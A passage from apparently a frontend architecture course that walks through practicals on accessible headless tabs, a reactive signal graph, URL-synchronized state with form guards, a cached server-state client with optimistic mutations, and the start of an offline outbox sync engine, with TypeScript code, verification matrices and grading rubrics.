    TabBtn["Tab (Interactive Trigger)\n• Renders role='tab'\n• Manages roving tabIndex (0 or -1)\n• Binds aria-selected & aria-controls\n• Handles focus & selection triggers"]
    
    Panel["TabPanel (Content Region)\n• Renders role='tabpanel'\n• Binds aria-labelledby to Tab ID\n• Controls visibility (hidden when inactive)"]

    Root --> List
    Root --> Panel
    List --> TabBtn

Component Contract Definitions

In src/types.ts, define your public contracts:

export type TabOrientation = 'horizontal' | 'vertical';
export type TabActivationMode = 'automatic' | 'manual';

export interface TabsRootProps {
  readonly value?: string;
  readonly defaultValue?: string;
  readonly onValueChange?: (value: string) => void;
  readonly orientation?: TabOrientation;
  readonly activationMode?: TabActivationMode;
  readonly children: React.ReactNode;
}

export interface TabsContextValue {
  readonly selectedValue: string;
  readonly orientation: TabOrientation;
  readonly activationMode: TabActivationMode;
  readonly registerTab: (id: string, value: string, disabled: boolean) => void;
  readonly unregisterTab: (value: string) => void;
  readonly selectTab: (value: string) => void;
  readonly getPanelId: (value: string) => string;
  readonly getTabId: (value: string) => string;
}

Stage 2 - Controlled vs. Uncontrolled State Machine

A component must never exist in an ambiguous half-controlled state. Implement a unified state hook useTabsState that honors the state ownership contract:

  • Uncontrolled Mode: If props.value is undefined, internal state is initialized to props.defaultValue (or the first registered tab) and managed locally.
  • Controlled Mode: If props.value is defined, the component derives its active selection strictly from props.value. When user interactions trigger a selection, the component delegates the update via props.onValueChange(newValue).
// src/use-tabs-state.ts
import { useState, useCallback } from 'react';

export function useTabsState(
  controlledValue?: string,
  defaultValue?: string,
  onValueChange?: (value: string) => void
) {
  const isControlled = controlledValue !== undefined;
  const [internalValue, setInternalValue] = useState<string>(defaultValue ?? '');

  const currentValue = isControlled ? controlledValue : internalValue;

  const selectTab = useCallback((newValue: string) => {
    if (!isControlled) {
      setInternalValue(newValue);
    }
    onValueChange?.(newValue);
  }, [isControlled, onValueChange]);

  return { selectedValue: currentValue, selectTab, isControlled };
}

Verify that passing both value and defaultValue does not trigger uncontrolled state overwrites, and that controlled updates propagate without lag or double-render cycles.


Stage 3 - Implement the WAI-ARIA and Keyboard Contract

The WAI-ARIA Tabs pattern requires strict accessibility attributes and precise keyboard behavior.

1. ARIA Relationship Wiring

For every tab and panel pair, establish explicit cross-linking IDs:

  • The Tab element must render id={tab-${value}} and aria-controls={panel-${value}}.
  • The TabPanel element must render id={panel-${value}} and aria-labelledby={tab-${value}}.
  • When active, the Tab sets aria-selected="true". Inactive tabs set aria-selected="false".
  • Inactive TabPanel containers must have the HTML hidden attribute applied.

2. Roving tabindex Focus Management

Tabs must not all be focusable with the Tab key:

  • The currently selected tab has tabIndex={0}.
  • All unselected tabs have tabIndex={-1}.
  • When a keyboard user presses Tab, focus lands only on the active tab. Pressing Tab again moves focus completely out of the tablist (into the active panel or the next document control).

3. Arrow Key Navigation

Implement keyboard handling in TabsList:

  • Horizontal Orientation: ArrowRight focuses the next enabled tab; ArrowLeft focuses the previous enabled tab.
  • Vertical Orientation: ArrowDown focuses the next enabled tab; ArrowUp focuses the previous enabled tab.
  • Navigation Extremes: Home focuses the first tab; End focuses the last tab.
  • Wrapping: Moving past the end wraps focus to the beginning (and vice versa).
  • Activation Mode:
    • In automatic mode, focusing a tab via Arrow keys immediately selects it and displays its panel.
    • In manual mode, moving focus with Arrow keys does not change the active panel until the user presses Enter or Space.
// Inside TabsList keyboard event handler:
function handleKeyDown(event: React.KeyboardEvent) {
  const tabs = enabledTabsList;
  const currentIndex = tabs.findIndex(t => t.value === focusedValue);
  let nextIndex = -1;

  switch (event.key) {
    case 'ArrowRight':
    case 'ArrowDown':
      event.preventDefault();
      nextIndex = (currentIndex + 1) % tabs.length;
      break;
    case 'ArrowLeft':
    case 'ArrowUp':
      event.preventDefault();
      nextIndex = (currentIndex - 1 + tabs.length) % tabs.length;
      break;
    case 'Home':
      event.preventDefault();
      nextIndex = 0;
      break;
    case 'End':
      event.preventDefault();
      nextIndex = tabs.length - 1;
      break;
    case 'Enter':
    case ' ':
      if (activationMode === 'manual') {
        event.preventDefault();
        selectTab(focusedValue);
      }
      return;
    default:
      return;
  }

  const nextTab = tabs[nextIndex];
  if (nextTab) {
    focusTab(nextTab.value);
    if (activationMode === 'automatic') {
      selectTab(nextTab.value);
    }
  }
}

Stage 4 - Verification Matrix and Optional Extensions

Verification Matrix

Execute the following test cases to confirm architectural integrity:

#ActionExpected Observable ResultStatus
V1Press Tab from preceding document controlFocus lands on the currently active tab only (tabIndex="0"). All other tabs report tabIndex="-1".
V2Press ArrowRight (in horizontal automatic mode)Focus shifts to the next tab, aria-selected="true" moves to it, and its associated TabPanel becomes visible while the previous panel receives hidden.
V3Press End keyFocus jumps directly to the final tab in the list.
V4Switch to controlled mode (value="tab2")The second tab is active. Calling external setter changes selection without internal state desync.
V5Strip all visual CSS classesThe component functions completely identically: keyboard traversal, ARIA announcements, and panel switching remain intact.

Optional Extensions

  1. Disabled Tabs: Add a disabled boolean prop to Tab. Ensure disabled tabs receive aria-disabled="true", cannot be activated via click/Enter, and are gracefully skipped during Arrow key traversal.
  2. Lazy Panel Loading: Enhance TabPanel with a lazy prop. When true, panel contents are not mounted in the DOM until the tab is selected for the first time.

Evaluation Rubric

CriterionExemplary (4)Proficient (3)Developing (2)Inadequate (1)
Decomposition & API DesignClean compound components sharing context; consumer has full markup and styling freedom; zero boolean prop clutter.Compound hierarchy used, but leaks presentation details into root props.Flat component requiring large configuration object or array of tabs.Single monolithic component with hard-coded markup.
State Ownership ContractPure controlled and uncontrolled modes supported seamlessly without conflicting state updates.Supports both modes but shows brief flicker or console warnings on switch.Only supports one mode (controlled or uncontrolled).State is entangled and out of sync with external props.
WAI-ARIA & Keyboard SemanticsFlawless roving tabindex, correct ARIA cross-linking (aria-controls, aria-labelledby), Arrow, Home/End, and mode handling.Keyboard navigation works, but missing aria-controls or Home/End keys.Uses standard Tab key to focus every single tab button; missing roving tabindex.No ARIA roles or keyboard handlers implemented.
Headless RobustnessBehavioral logic is completely decoupled from visual CSS; works across different themes and layouts.Headless logic works but assumes specific layout or wrapper tags.Visual styles are hard-coded into behavioral components.Breaking styles breaks component interaction.

7 - Reactive Dependency Graph and State Derivation

Practical 07 - Reactive Dependency Graph and State Derivation

Related: Chapter 7 · Lecture slides

Objective

Build a transparent, educational reactive dependency graph in TypeScript from scratch. You will implement the core primitives that power modern reactive architectures:

  1. Signals (State Sources): Observable containers that register subscribers on read and notify on write.
  2. Computed Values (Pure Derivations): Lazy, cached derivations that re-evaluate only when an upstream dependency changes.
  3. Effects (Synchronization Boundaries): Side-effect observers that react to dependency invalidations and execute explicit cleanup callbacks.

You will trace exact execution timelines, observe dynamic dependency switching, verify cache reuse, and demonstrate how cycles and infinite loops occur when side effects mutate source state.

Important

Educational Model Notice: This laboratory constructs a pedagogical reactive runtime (~100 lines of code) to make dependency discovery and caching mechanics visible. To keep concepts accessible, it deliberately omits advanced production features such as topological glitch-free resolution (diamond dependency sorting), weak reference garbage collection, multi-priority concurrent scheduling, and compiler-level AST transforms.


Prerequisites and Workspace Setup

You need Node.js (v18+) and the TypeScript compiler.

Initialize your workspace:

chapter-07-reactive-graph/
├── src/
│   ├── reactive.ts          # Core engine: signal, computed, effect, context stack
│   ├── types.ts             # Subscriber and dependency interfaces
│   ├── visualizer.ts        # ASCII / DOM graph inspector logging execution order
│   └── main.ts              # Running scenario: searchable list & URL sync
├── index.html
├── package.json
└── tsconfig.json

Ensure your tsconfig.json enforces strict mode:

{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "bundler",
    "strict": true,
    "skipLibCheck": true
  }
}

Stage 1 - The Signal Primitive and Subscriber Context

Reactivity requires discovering which computations depend on which data. In src/reactive.ts, implement a global subscriber stack and the createSignal primitive:

flowchart LR
    Effect["Active Effect / Computed"] -->|"1. Reads signal.get()"| Signal["Signal Value Store"]
    Signal -->|"2. Registers Active Subscriber"| SubList["Set<Subscriber>"]
    Signal -->|"3. Returns Value"| Effect
    Caller["User Code"] -->|"4. Calls signal.set(newVal)"| Signal
    Signal -->|"5. Notifies all"| SubList
// src/types.ts
export type Subscriber = {
  execute: () => void;
  dependencies: Set<Set<Subscriber>>;
};

// src/reactive.ts
let activeSubscriber: Subscriber | null = null;
const subscriberStack: Subscriber[] = [];

export function pushSubscriber(sub: Subscriber) {
  subscriberStack.push(sub);
  activeSubscriber = sub;
}

export function popSubscriber() {
  subscriberStack.pop();
  activeSubscriber = subscriberStack[subscriberStack.length - 1] ?? null;
}

export function createSignal<T>(initialValue: T) {
  let value = initialValue;
  const subscribers = new Set<Subscriber>();

  const get = (): T => {
    if (activeSubscriber) {
      subscribers.add(activeSubscriber);
      activeSubscriber.dependencies.add(subscribers);
    }
    return value;
  };

  const set = (nextValue: T | ((prev: T) => T)): void => {
    const resolved = typeof nextValue === 'function' 
      ? (nextValue as (prev: T) => T)(value) 
      : nextValue;

    if (!Object.is(value, resolved)) {
      value = resolved;
      // Copy to prevent infinite loops during subscriber iteration
      const toNotify = Array.from(subscribers);
      toNotify.forEach(sub => sub.execute());
    }
  };

  return [get, set] as const;
}

Stage 2 - Lazy Computed Values and Invalidation

A computed value represents derived data. It must never perform eager calculation if nobody is reading it, and it must never recompute if its upstream dependencies have not changed.

Implement createComputed:

export function createComputed<T>(fn: () => T) {
  let cachedValue: T;
  let isDirty = true;
  const subscribers = new Set<Subscriber>();

  const selfSubscriber: Subscriber = {
    execute: () => {
      if (!isDirty) {
        isDirty = true;
        subscribers.forEach(sub => sub.execute());
      }
    },
    dependencies: new Set(),
  };

  const get = (): T => {
    if (activeSubscriber) {
      subscribers.add(activeSubscriber);
      activeSubscriber.dependencies.add(subscribers);
    }

    if (isDirty) {
      // Clean previous dependency links before re-running to support dynamic branching
      selfSubscriber.dependencies.forEach(depSet => depSet.delete(selfSubscriber));
      selfSubscriber.dependencies.clear();

      pushSubscriber(selfSubscriber);
      try {
        cachedValue = fn();
        isDirty = false;
      } finally {
        popSubscriber();
      }
    }

    return cachedValue;
  };

  return get;
}

Verify that calling get() three times without modifying source signals invokes fn() exactly once.


Stage 3 - Effects and Resource Cleanup

An effect bridges pure reactive state to imperative external systems (DOM rendering, network dispatch, storage persistence).

Implement createEffect with explicit cleanup:

export function createEffect(fn: (onCleanup: (cb: () => void) => void) => void) {
  let cleanupFn: (() => void) | null = null;

  const onCleanup = (cb: () => void) => {
    cleanupFn = cb;
  };

  const selfSubscriber: Subscriber = {
    execute: () => {
      // Run cleanup from previous execution
      if (cleanupFn) {
        cleanupFn();
        cleanupFn = null;
      }

      // Clear old dependencies for dynamic branches
      selfSubscriber.dependencies.forEach(depSet => depSet.delete(selfSubscriber));
      selfSubscriber.dependencies.clear();

      pushSubscriber(selfSubscriber);
      try {
        fn(onCleanup);
      } finally {
        popSubscriber();
      }
    },
    dependencies: new Set(),
  };

  // Initial immediate run
  selfSubscriber.execute();

  // Return a teardown handle to dispose of the effect completely
  return () => {
    if (cleanupFn) cleanupFn();
    selfSubscriber.dependencies.forEach(depSet => depSet.delete(selfSubscriber));
    selfSubscriber.dependencies.clear();
  };
}

Stage 4 - Verification Matrix and Cycle Analysis

1. Cycle Hazard Experiment

In src/main.ts, deliberately construct a cyclic dependency:

const [count, setCount] = createSignal(0);

createEffect(() => {
  console.log('Count is:', count());
  setCount(c => c + 1); // ⚠️ CYCLIC HAZARD: Mutating source inside effect
});

Observe the resulting browser crash / stack overflow (Maximum call stack size exceeded). Explain why production systems (like Vue’s queue watcher and React’s loop detection) enforce maximum update depth thresholds (e.g., 50 or 100 iterations) and throw explicit architectural errors.

2. Verification Matrix

#ActionExpected Observable ResultStatus
V1Read a computed value 5 times sequentially without signal mutationUnderlying calculation function logs execution exactly once (cached).
V2Mutate unrelated signalComputed function is not re-evaluated.
V3Mutate source dependency of an effectPrevious cleanup callback executes before the new effect body runs.
V4Conditional branch: computed(() => useA() ? sigA() : sigB())When useA switches to false, mutations to sigA no longer trigger recalculation.
V5Dispose effect using teardown handleFuture signal changes do not trigger the disposed effect.

Evaluation Rubric

CriterionExemplary (4)Proficient (3)Developing (2)Inadequate (1)
Reactivity ArchitectureClean implementation of subscriber stack, signal access, and notification decoupling.Core reactivity works, but leaks subscribers across re-runs.Manual subscription passing; lacks automatic dependency discovery.Broken reactivity requiring explicit manual trigger calls.
Derived State & CachingComputed values are strictly lazy; cached values served on repeated reads; invalidated only when dirty.Computed values work, but calculate eagerly upon dependency change.Calculates on every read; lacks caching.Computed values fail to update when sources change.
Effect & Cleanup LifecycleRobust cleanup lifecycle (onCleanup runs before re-run and on disposal); prevents memory leaks.Effect re-runs correctly, but cleanup is executed at the wrong phase.Effects run, but lack any cleanup mechanism.Effects cause uncaught infinite recursion on simple updates.
Architectural BoundariesClear distinction between pure derivation and imperative effects; models cycle detection and limitations.Explains limitations, but misses the distinction between derivation and effects.Confuses state derivation with effects.No understanding of why cyclic mutations break reactive graphs.

8 - URL-Driven State Architecture and Form Boundaries

Practical 08 - URL-Driven State Architecture and Form Boundaries

Related: Chapter 8 · Lecture slides

Objective

Build a resilient, URL-synchronized catalogue and administrative edit workflow that treats the browser address bar as a primary, shareable source of truth.

You will implement:

  1. A serializable URL state contract that parses, validates, and serializes search filters, sort criteria, and pagination.
  2. An intentional history transition model distinguishing pushState (navigating pages) from replaceState (filtering).
  3. A two-tier input architecture that separates immediate keystroke drafts from committed URL parameters and background API queries.
  4. A form state machine managing touched, dirty, validation, and unsaved changes confirmation during route transitions.

Prerequisites and Workspace Setup

You need Node.js (v18+) and a modern bundler setup (Vite with TypeScript and React or Vue).

Initialize your practical workspace:

chapter-08-url-catalogue/
├── src/
│   ├── types.ts             # URL state, form state, and domain interfaces
│   ├── url-state.ts         # Boundary parser, validator, and serializer
│   ├── use-url-sync.ts      # Custom hook / composable wiring history & popstate
│   ├── form-reducer.ts      # Form state machine (touched, dirty, errors)
│   ├── components/
│   │   ├── CatalogueView.tsx# Filter toolbar, product table, and pagination
│   │   └── ProductEdit.tsx  # Routed edit form with unsaved changes guard
│   └── main.tsx             # Application router entry point
├── index.html
├── package.json
└── tsconfig.json

Stage 1 - Serializable URL Contract and Boundary Parser

The address bar accepts arbitrary strings from external sources. Raw query strings must be treated as untrusted boundaries and validated against strict schemas before entering application state.

1.1 State Contract Definition

In src/types.ts:

export type SortOption = 'name' | 'price' | 'date';

export interface CatalogueURLState {
  readonly query: string;
  readonly category: string;
  readonly sort: SortOption;
  readonly page: number;
}

export const DEFAULT_CATALOGUE_STATE: CatalogueURLState = {
  query: '',
  category: 'all',
  sort: 'name',
  page: 1,
};

1.2 Boundary Parser and Serializer

In src/url-state.ts, implement resilient parsing with defaults and clean serialization:

const VALID_SORTS: readonly SortOption[] = ['name', 'price', 'date'];

export function parseCatalogueParams(search: string): CatalogueURLState {
  const params = new URLSearchParams(search);

  // Validate sort enum
  const rawSort = params.get('sort');
  const sort: SortOption = VALID_SORTS.includes(rawSort as SortOption)
    ? (rawSort as SortOption)
    : DEFAULT_CATALOGUE_STATE.sort;

  // Validate positive integer page
  const rawPage = parseInt(params.get('page') ?? '1', 10);
  const page = Number.isInteger(rawPage) && rawPage > 0 ? rawPage : 1;

  return {
    query: params.get('q')?.trim() ?? DEFAULT_CATALOGUE_STATE.query,
    category: params.get('category')?.trim() || DEFAULT_CATALOGUE_STATE.category,
    sort,
    page,
  };
}

export function serializeCatalogueParams(state: CatalogueURLState): string {
  const params = new URLSearchParams();

  if (state.query) params.set('q', state.query);
  if (state.category !== 'all') params.set('category', state.category);
  if (state.sort !== 'name') params.set('sort', state.sort);
  if (state.page > 1) params.set('page', String(state.page));

  const str = params.toString();
  return str ? `?${str}` : '';
}

Verify that omitting default values keeps the URL clean (e.g. displaying /products rather than /products?q=&category=all&sort=name&page=1).


Stage 2 - History Semantics and Two-Tier Debouncing

Do not push a new browser history entry on every keystroke. Separate immediate typing from committed URL state:

flowchart LR
    Typing["User Keystrokes\n(Local Input Draft)"] -->|"300ms Debounce / Enter"| Commit["Commit to URL\n(history.replaceState)"]
    PageClick["Next Page Click\n(Pagination)"] -->|"Immediate Navigation"| Push["Commit to URL\n(history.pushState)"]
    Popstate["Browser Back / Forward\n(popstate event)"] -->|"Update State"| AppView["Synchronize View"]

Implement useURLSync:

  1. Local Draft: Bind the search text input to an immediate local state variable so typing feels fluid with zero input lag.
  2. Debounced Commit: Debounce URL updates by 300ms. Use history.replaceState so that back-button navigation does not trap the user in twenty partial keystroke states.
  3. Discrete Actions: When the user changes pagination or sorting, use history.pushState so that each page change creates an explicit back-button step.
  4. Popstate Listener: Listen to window.addEventListener('popstate') to update local state when the user navigates using the browser’s native Back/Forward buttons.

Stage 3 - Form State Machine and Unsaved Changes Guard

When a user clicks “Edit” on an item, the application transitions to /products/:id/edit.

3.1 Detached Draft State

Never bind the edit form directly to cached server data. Initialize a local, detached draft:

export interface ProductDraft {
  title: string;
  price: string;
  department: string;
}

export interface FormState {
  initial: ProductDraft;
  current: ProductDraft;
  touched: Set<keyof ProductDraft>;
  isSubmitting: boolean;
  submitError: string | null;
}

3.2 Form Reducer and Dirty State

Calculate dirty state purely: isDirty = JSON.stringify(current) !== JSON.stringify(initial).

export type FormAction =
  | { type: 'CHANGE'; field: keyof ProductDraft; value: string }
  | { type: 'BLUR'; field: keyof ProductDraft }
  | { type: 'SUBMIT_START' }
  | { type: 'SUBMIT_SUCCESS' }
  | { type: 'SUBMIT_ERROR'; error: string }
  | { type: 'RESET' };

export function formReducer(state: FormState, action: FormAction): FormState {
  switch (action.type) {
    case 'CHANGE':
      return {
        ...state,
        current: { ...state.current, [action.field]: action.value },
      };
    case 'BLUR':
      return {
        ...state,
        touched: new Set(state.touched).add(action.field),
      };
    case 'RESET':
      return {
        ...state,
        current: state.initial,
        touched: new Set(),
      };
    default:
      return state;
  }
}

3.3 Navigation Guard

Attach a beforeunload browser event handler and route transition interceptor: if isDirty is true and the user attempts to click away or close the tab, prompt for confirmation before discarding changes.


Stage 4 - Verification Matrix and Security Boundaries

1. What Must NEVER Enter the URL

ClassificationForbidden Data ExamplesArchitectural HazardProper Storage Location
Credentials & AuthBearer tokens, passwords, API keysLeaked via browser history, server access logs, and HTTP Referer headers.In-memory token store, httpOnly secure cookies.
Personal IdentifiersNational civil IDs, phone numbers, health recordsIndexed by external analytics; visible over shoulders.Private application state / Encrypted session.
Volatile Drafts2,000-word essay drafts, unsaved formsExceeds URL length limits; triggers encoding corruption.Component draft state / IndexedDB offline store.

2. Verification Matrix

#ActionExpected Observable ResultStatus
V1Apply filters q=residence and page=3, copy URL to incognito windowIncognito session opens exactly at page 3 with residence query pre-filled and filtered.
V2Manually edit URL to ?page=-99&sort=INVALIDBoundary parser safely falls back to page=1 and sort=name without application crash.
V3Type "certificate" into search bar, then click browser BackReturns directly to the previous page/view without stepping through individual keystrokes.
V4Navigate: Page 1 $\rightarrow$ Page 2 $\rightarrow$ Page 3 $\rightarrow$ Click BackRestores Page 2, URL reflects ?page=2, and list updates correctly.
V5Edit product title, do not save, click navigation linkBrowser alerts that unsaved changes will be lost before navigating away.

Evaluation Rubric

CriterionExemplary (4)Proficient (3)Developing (2)Inadequate (1)
URL State ArchitectureStrict typing, boundary parser with fallback defaults, clean serialization omitting defaults, bidirectional popstate sync.URL parsing works, but crashes on malformed params or serializes redundant defaults.Partial URL sync; missing pagination or sort support.No URL state; all filters stored exclusively in memory.
History & Debounce SemanticsFlawless distinction between pushState for actions and replaceState for debounced typing; zero history pollution.Debounces typing, but pushes history entries for every keystroke.No debouncing; rapid typing creates lagging renders.Direct page reloads required to update URL state.
Form Lifecycle & ReducerPure reducer managing draft, touched, dirty, and errors; detached from server cache; unsaved changes guard.Form manages state, but mutates shared server data directly or lacks dirty tracking.Basic form; validation occurs only on final submission.Uncontrolled inputs with no state tracking or navigation safety.
Security & Privacy PerimeterZero sensitive data in URLs; strict validation of URL search params; clear boundary definition.No sensitive data in URL, but lacks validation against XSS in query parameters.Passes sensitive IDs or form draft payloads via query string.Stores sensitive secrets or passwords directly in URL parameters.

9 - Cached Server-State Client with Optimistic Mutations

Practical 09 - Cached Server-State Client with Optimistic Mutations

Related: Chapter 9 · Lecture slides

Objective

Build a resilient, framework-agnostic asynchronous server-state cache manager (a micro TanStack Query) from scratch in TypeScript.

You will implement:

  1. Deterministic Query Key Hashing: Storing and retrieving queries by composite serialized keys.
  2. Stale-While-Revalidate (SWR) Caching: Serving cached snapshots instantly while asynchronously fetching fresh server data in the background.
  3. In-Flight Request Deduplication: Merging concurrent duplicate calls into a single shared network promise.
  4. Transient Error Retry with Exponential Backoff: Automatically retrying 5xx and network failures while respecting cancellation signals.
  5. Optimistic Mutations with Snapshot Rollback: Updating cache entries immediately upon user action, reverting gracefully if the server rejects the request.

Prerequisites and Workspace Setup

You need Node.js (v18+) and the TypeScript compiler.

Initialize your practical workspace:

chapter-09-cache-client/
├── src/
│   ├── types.ts             # Cache entry, query options, and mutation types
│   ├── query-key.ts         # Deterministic key serialization
│   ├── query-cache.ts       # SWR store, deduplication map, and invalidation
│   ├── fetch-retry.ts       # Abortable fetch with exponential backoff
│   ├── mutation-manager.ts  # Optimistic execution and snapshot rollback
│   ├── app.ts               # Simulated REST server and UI demonstration
│   └── cache.test.ts        # Unit test suite for deduplication & retry
├── index.html
├── package.json
└── tsconfig.json

Stage 1 - Deterministic Query Key Serialization

Query keys represent the semantic identity of a server request. Keys often contain nested objects (such as { sort: 'date', page: 2 }), which cannot be compared with standard referential equality (===).

In src/query-key.ts, implement a deterministic serializer that sorts object keys alphabetically:

export type QueryKey = readonly unknown[];

export function serializeKey(key: QueryKey): string {
  return JSON.stringify(key, (_, val) => {
    if (val !== null && typeof val === 'object' && !Array.isArray(val)) {
      return Object.keys(val)
        .sort()
        .reduce<Record<string, unknown>>((acc, k) => {
          acc[k] = val[k];
          return acc;
        }, {});
    }
    return val;
  });
}

Verify that ['permits', { page: 1, sort: 'name' }] and ['permits', { sort: 'name', page: 1 }] produce identical hash strings: ["permits",{"page":1,"sort":"name"}].


Stage 2 - Stale-While-Revalidate and Request Deduplication

In src/query-cache.ts, implement the core SWR cache engine:

flowchart TD
    Req["queryClient.fetch(key, fn)"] --> CheckKey{"Key in Memory?"}
    
    CheckKey -- Yes & Fresh --> FreshData["Return cached data immediately\n(Zero network request)"]
    
    CheckKey -- Yes & Stale --> StaleServe["Serve cached data to UI\n(status: 'success', isStale: true)"]
    StaleServe --> DedupCheck{"In-flight promise active?"}
    
    CheckKey -- No --> DedupCheck
    
    DedupCheck -- Yes --> ReusePromise["Attach to existing network Promise"]
    DedupCheck -- No --> NewFetch["Create new fetch with AbortController"]
    
    NewFetch --> Network["Execute HTTP Request"]
    Network --> Update["Update Cache & notify subscribers"]
// src/types.ts
export interface CacheEntry<T> {
  data: T;
  timestamp: number;
  isStale: boolean;
}

export interface QueryOptions {
  staleTime?: number; // ms before data is considered stale (default: 0)
}

// src/query-cache.ts
export class QueryClient {
  private cache = new Map<string, CacheEntry<unknown>>();
  private inFlight = new Map<string, Promise<unknown>>();
  private subscribers = new Map<string, Set<(data: unknown) => void>>();

  async fetch<T>(
    key: QueryKey,
    queryFn: (signal: AbortSignal) => Promise<T>,
    options: QueryOptions = {}
  ): Promise<T> {
    const serialized = serializeKey(key);
    const staleTime = options.staleTime ?? 0;
    const existing = this.cache.get(serialized) as CacheEntry<T> | undefined;

    const isFresh = existing && (Date.now() - existing.timestamp < staleTime);

    if (existing && isFresh) {
      return existing.data;
    }

    // Deduplicate in-flight requests
    if (this.inFlight.has(serialized)) {
      return this.inFlight.get(serialized) as Promise<T>;
    }

    const controller = new AbortController();
    const promise = (async () => {
      try {
        const data = await queryFn(controller.signal);
        this.cache.set(serialized, {
          data,
          timestamp: Date.now(),
          isStale: false,
        });
        this.notify(serialized, data);
        return data;
      } finally {
        this.inFlight.delete(serialized);
      }
    })();

    this.inFlight.set(serialized, promise);
    return existing ? existing.data : promise;
  }

  invalidate(keyPrefix: QueryKey): void {
    const prefixStr = serializeKey(keyPrefix).slice(0, -1); // Match array prefix
    for (const [key] of this.cache) {
      if (key.startsWith(prefixStr)) {
        const entry = this.cache.get(key);
        if (entry) entry.isStale = true;
      }
    }
  }

  private notify(serializedKey: string, data: unknown) {
    this.subscribers.get(serializedKey)?.forEach(cb => cb(data));
  }
}

Stage 3 - Abortable Fetch with Exponential Backoff

In src/fetch-retry.ts, implement a transport wrapper that handles network dropouts and 5xx server errors with randomized exponential jitter:

export interface RetryOptions {
  maxRetries?: number;
  initialDelayMs?: number;
}

export async function fetchWithRetry<T>(
  url: string,
  signal: AbortSignal,
  options: RetryOptions = {}
): Promise<T> {
  const maxRetries = options.maxRetries ?? 3;
  let delay = options.initialDelayMs ?? 1000;

  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    if (signal.aborted) throw new DOMException('Aborted', 'AbortError');

    try {
      const res = await fetch(url, { signal });

      // Fail fast on client errors (4xx) - they should never be retried automatically
      if (res.status >= 400 && res.status < 500) {
        throw new Error(`Client error: ${res.status} ${res.statusText}`);
      }

      if (!res.ok) {
        throw new Error(`Server error: ${res.status}`);
      }

      return (await res.json()) as T;
    } catch (err) {
      const isAbort = (err as Error).name === 'AbortError';
      if (isAbort || attempt === maxRetries) throw err;

      // Add full jitter: delay * random(0.5, 1.5)
      const jitteredDelay = delay * (0.5 + Math.random());
      await new Promise(resolve => setTimeout(resolve, jitteredDelay));
      delay *= 2; // Exponential increase
    }
  }

  throw new Error('Unreachable');
}

Stage 4 - Optimistic Mutations and Verification Matrix

1. The Optimistic Mutation Contract

In src/mutation-manager.ts, implement mutation execution with snapshot rollback:

export async function executeOptimisticMutation<TData, TVariables>(
  client: QueryClient,
  queryKey: QueryKey,
  optimisticUpdate: (prev: TData, vars: TVariables) => TData,
  mutationFn: (vars: TVariables) => Promise<TData>,
  variables: TVariables
): Promise<void> {
  const serialized = serializeKey(queryKey);
  const previousData = client.getQueryData<TData>(queryKey);

  // 1. Snapshot and immediately apply optimistic prediction
  if (previousData) {
    const provisional = optimisticUpdate(previousData, variables);
    client.setQueryData(queryKey, provisional);
  }

  try {
    // 2. Perform authoritative network request
    const canonical = await mutationFn(variables);
    // 3. Confirm with server canonical response
    client.setQueryData(queryKey, canonical);
  } catch (err) {
    // 4. Rollback to pristine snapshot upon failure
    if (previousData) {
      client.setQueryData(queryKey, previousData);
    }
    throw err;
  }
}

2. Verification Matrix

#ActionExpected Observable ResultStatus
V1Mount three components calling client.fetch(['permits']) simultaneouslyExact single network call dispatched (inFlight deduplicated); all three resolve same data.
V2Read cached data within staleTimeResolves synchronously from memory in 0ms without network dispatch.
V3Simulate 503 Service Unavailable on fetchClient retries 3 times with exponentially increasing intervals before throwing error.
V4User edits permit title with optimistic updateUI updates title instantly. Simulated network error 500 triggers rollback to original title.
V5Mutation succeeds on serverTriggers client.invalidate(['permits']), marking queries stale and triggering background refresh.

Evaluation Rubric

CriterionExemplary (4)Proficient (3)Developing (2)Inadequate (1)
Cache Key ArchitectureDeterministic key sorting, nested object support, zero collision between similar query structures.Keys serialized, but sensitive to object property insertion order.Flat string keys only; lacks object parameter serialization.Cache uses URL strings directly with no key structure.
Deduplication & SWRFlawless promise reuse for concurrent requests; stale data served instantly while background revalidation executes.In-flight deduplication works, but lacks SWR background update capability.Caches data, but duplicate simultaneous calls create duplicate HTTP requests.No caching; every component fetch initiates independent network calls.
Retry & Backoff EngineExponential backoff with jitter; fails fast on 4xx client errors; respects AbortSignal cancellation.Backoff implemented, but retries client 4xx errors or lacks jitter.Retries with fixed timeout delay; no backoff.No retry logic; single network dropout causes permanent failure.
Optimistic RollbackClean snapshot preservation, instant UI preview, automatic rollback on failure, authoritative confirmation on success.Optimistic update works, but leaves UI in corrupted state if server rejects request.Pessimistic updates only; UI waits for server round-trip.Directly mutates local state without server synchronization.

10 - Offline Outbox and Resilient Synchronization

Practical 10 - Offline Outbox and Resilient Synchronization

Related: Chapter 10 · Lecture slides

Objective

Build a resilient, local-first offline synchronization engine for a municipal field-inspection application using browser-native IndexedDB and a durable Outbox Queue.

You will engineer a client-side architecture that:

  1. Survives Complete Disconnection: Allows inspectors to conduct inspections, draft notes, and record safety violation verdicts in offline basements with 0ms local latency.
  2. Maintains Transactional Integrity: Commits domain record updates and outbox synchronization commands atomically using IndexedDB transactions.
  3. Recovers Seamlessly Across Browser Reboots: Persists queued operations across page reloads, tab crashes, and device restarts.
  4. Guarantees Exactly-Once Server Processing: Enforces client-generated Idempotency-Key headers to prevent duplicate record creation during network dropouts and retries.
  5. Classifies and Recovers from Failures: Distinguishes retriable transient errors (HTTP 503 / dropped sockets) with exponential backoff from permanent validation rejections (HTTP 422), surfacing actionable conflict states to the user.
flowchart TD
    subgraph BrowserClient["Browser Runtime (Field Inspection Tablet)"]
        UI["Inspector UI / Form"] -->|1. Submit Verdict| Tx["IndexedDB Atomic Transaction"]
        Tx -->|Write| Store["'inspections' Object Store\n(localId, serverId, status: 'pending_sync')"]
        Tx -->|Write| Outbox["'outbox' Object Store\n(operationId, endpoint, payload, attempts)"]
        
        Engine["Outbox Synchronization Engine\n(Triggered by: online event, visibility, timer)"] -->|2. Read Unsynced| Outbox
        Engine -->|3. Probe Heartbeat| NetCheck{"Real Egress?"}
        NetCheck -->|Yes| Dispatch["4. HTTP POST /api/inspections\nHeaders: Idempotency-Key: operationId"]
    end

    subgraph RemoteBackend["Municipal Server API"]
        Dispatch --> Gateway["API Gateway / Idempotency Filter"]
        Gateway --> ServerDB[("Municipal Database")]
    end

    Dispatch -->|200 OK Ack| Ack["5. Delete Outbox Record\nUpdate Local Store: status: 'synced'"]
